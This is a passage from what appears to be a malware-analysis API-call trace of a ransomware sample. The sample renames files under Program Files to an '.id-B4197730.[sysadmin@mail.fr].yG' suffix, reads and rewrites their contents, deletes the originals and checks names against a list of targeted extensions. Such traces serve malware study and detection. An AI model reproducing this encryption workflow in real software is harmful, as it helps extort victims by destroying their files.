	[0048.202] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0048.202] GetLastError () returned 0x0
	[0048.202] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3bb, lpOverlapped=0x0) returned 1
	[0048.203] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3c0, lpOverlapped=0x0) returned 1
	[0048.204] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.204] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0048.204] SetEndOfFile (hFile=0x2e0) returned 1
	[0048.204] CloseHandle (hObject=0x2e0) returned 1
	[0048.205] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.205] SetEndOfFile (hFile=0x380) returned 1
	[0048.205] CloseHandle (hObject=0x380) returned 1
	[0048.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.206] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1
	[0048.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.206] lstrlenW (lpString=".doc") returned 4
	[0048.206] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".docx") returned 5
	[0048.206] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0048.206] lstrlenW (lpString=".pdf") returned 4
	[0048.206] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".xls") returned 4
	[0048.206] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".xlsx") returned 5
	[0048.206] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0048.206] lstrlenW (lpString=".ppt") returned 4
	[0048.206] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.206] lstrlenW (lpString=".zip") returned 4
	[0048.206] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".rar") returned 4
	[0048.206] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".bz2") returned 4
	[0048.206] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0048.206] lstrlenW (lpString=".7z") returned 3
	[0048.206] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0048.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.206] lstrlenW (lpString=".dbf") returned 4
	[0048.206] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".1cd") returned 4
	[0048.207] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".jpg") returned 4
	[0048.207] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".doc") returned 4
	[0048.207] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".docx") returned 5
	[0048.207] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0048.207] lstrlenW (lpString=".pdf") returned 4
	[0048.207] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".xls") returned 4
	[0048.207] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".xlsx") returned 5
	[0048.207] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1
	[0048.207] lstrlenW (lpString=".ppt") returned 4
	[0048.207] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".zip") returned 4
	[0048.207] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".rar") returned 4
	[0048.207] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".bz2") returned 4
	[0048.207] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString=".7z") returned 3
	[0048.207] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".dbf") returned 4
	[0048.207] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".1cd") returned 4
	[0048.207] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0048.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47
	[0048.207] lstrlenW (lpString=".jpg") returned 4
	[0048.208] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1
	[0048.208] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0048.208] lstrlenW (lpString="AppXManifest.xml") returned 16
	[0048.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.208] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5944055) returned 1
	[0048.208] CloseHandle (hObject=0x380) returned 1
	[0048.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20
	[0048.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0048.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0048.209] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc64 | out: lpNewFilePointer=0x0) returned 1
	[0048.209] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc24 | out: lpNewFilePointer=0x0) returned 1
	[0048.209] ReadFile (in: hFile=0x380, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aefc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x2aefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.210] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc24 | out: lpNewFilePointer=0x0) returned 1
	[0048.210] ReadFile (in: hFile=0x380, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aefc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x2aefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.216] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aefc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0048.216] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc24 | out: lpNewFilePointer=0x0) returned 1
	[0048.216] ReadFile (in: hFile=0x380, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aefc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x2aefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.229] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.448] WriteFile (in: hFile=0x380, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2aefca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefca8*=0xc010c, lpOverlapped=0x0) returned 1
	[0048.467] SetEndOfFile (hFile=0x380) returned 1
	[0048.467] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0048.662] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.662] WriteFile (in: hFile=0x380, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2aefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.798] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.798] WriteFile (in: hFile=0x380, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2aefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.802] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2aefc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.802] WriteFile (in: hFile=0x380, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2aefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.804] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.805] CloseHandle (hObject=0x380) returned 1
	[0050.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.295] lstrlenW (lpString=".doc") returned 4
	[0050.295] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.295] lstrlenW (lpString=".docx") returned 5
	[0050.295] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0050.295] lstrlenW (lpString=".pdf") returned 4
	[0050.295] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.295] lstrlenW (lpString=".xls") returned 4
	[0050.295] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.295] lstrlenW (lpString=".xlsx") returned 5
	[0050.295] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0050.296] lstrlenW (lpString=".ppt") returned 4
	[0050.296] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString=".zip") returned 4
	[0050.296] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.296] lstrlenW (lpString=".rar") returned 4
	[0050.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString=".bz2") returned 4
	[0050.296] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString=".7z") returned 3
	[0050.296] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString=".dbf") returned 4
	[0050.296] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString=".1cd") returned 4
	[0050.296] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString=".jpg") returned 4
	[0050.296] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.296] lstrlenW (lpString=".doc") returned 4
	[0050.296] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.296] lstrlenW (lpString=".docx") returned 5
	[0050.296] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0050.296] lstrlenW (lpString=".pdf") returned 4
	[0050.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString=".xls") returned 4
	[0050.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString=".xlsx") returned 5
	[0050.297] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0050.297] lstrlenW (lpString=".ppt") returned 4
	[0050.297] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.297] lstrlenW (lpString=".zip") returned 4
	[0050.297] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.297] lstrlenW (lpString=".rar") returned 4
	[0050.297] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString=".bz2") returned 4
	[0050.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString=".7z") returned 3
	[0050.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.297] lstrlenW (lpString=".dbf") returned 4
	[0050.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.297] lstrlenW (lpString=".1cd") returned 4
	[0050.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0050.297] lstrlenW (lpString=".jpg") returned 4
	[0050.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.298] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.298] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53
	[0050.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.298] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=14913) returned 1
	[0050.298] CloseHandle (hObject=0x380) returned 1
	[0050.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.298] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.298] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0050.299] GetLastError () returned 0x0
	[0050.299] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x3a41, lpOverlapped=0x0) returned 1
	[0050.422] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3a50, lpOverlapped=0x0) returned 1
	[0050.423] ReadFile (in: hFile=0x380, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.423] WriteFile (in: hFile=0x2e4, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.423] SetEndOfFile (hFile=0x2e4) returned 1
	[0050.423] CloseHandle (hObject=0x2e4) returned 1
	[0050.424] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.424] SetEndOfFile (hFile=0x380) returned 1
	[0050.425] CloseHandle (hObject=0x380) returned 1
	[0050.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.425] lstrlenW (lpString=".doc") returned 4
	[0050.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.425] lstrlenW (lpString=".docx") returned 5
	[0050.425] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.425] lstrlenW (lpString=".pdf") returned 4
	[0050.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".xls") returned 4
	[0050.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".xlsx") returned 5
	[0050.426] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.426] lstrlenW (lpString=".ppt") returned 4
	[0050.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString=".zip") returned 4
	[0050.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.426] lstrlenW (lpString=".rar") returned 4
	[0050.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".bz2") returned 4
	[0050.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".7z") returned 3
	[0050.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString=".dbf") returned 4
	[0050.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString=".1cd") returned 4
	[0050.426] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString=".jpg") returned 4
	[0050.426] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.426] lstrlenW (lpString=".doc") returned 4
	[0050.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".docx") returned 5
	[0050.426] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.426] lstrlenW (lpString=".pdf") returned 4
	[0050.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".xls") returned 4
	[0050.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.426] lstrlenW (lpString=".xlsx") returned 5
	[0050.426] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.426] lstrlenW (lpString=".ppt") returned 4
	[0050.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.427] lstrlenW (lpString=".zip") returned 4
	[0050.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.427] lstrlenW (lpString=".rar") returned 4
	[0050.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.427] lstrlenW (lpString=".bz2") returned 4
	[0050.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.427] lstrlenW (lpString=".7z") returned 3
	[0050.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.427] lstrlenW (lpString=".dbf") returned 4
	[0050.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.427] lstrlenW (lpString=".1cd") returned 4
	[0050.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0050.427] lstrlenW (lpString=".jpg") returned 4
	[0050.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.427] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.427] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53
	[0050.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0050.427] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=1261) returned 1
	[0050.427] CloseHandle (hObject=0x380) returned 1
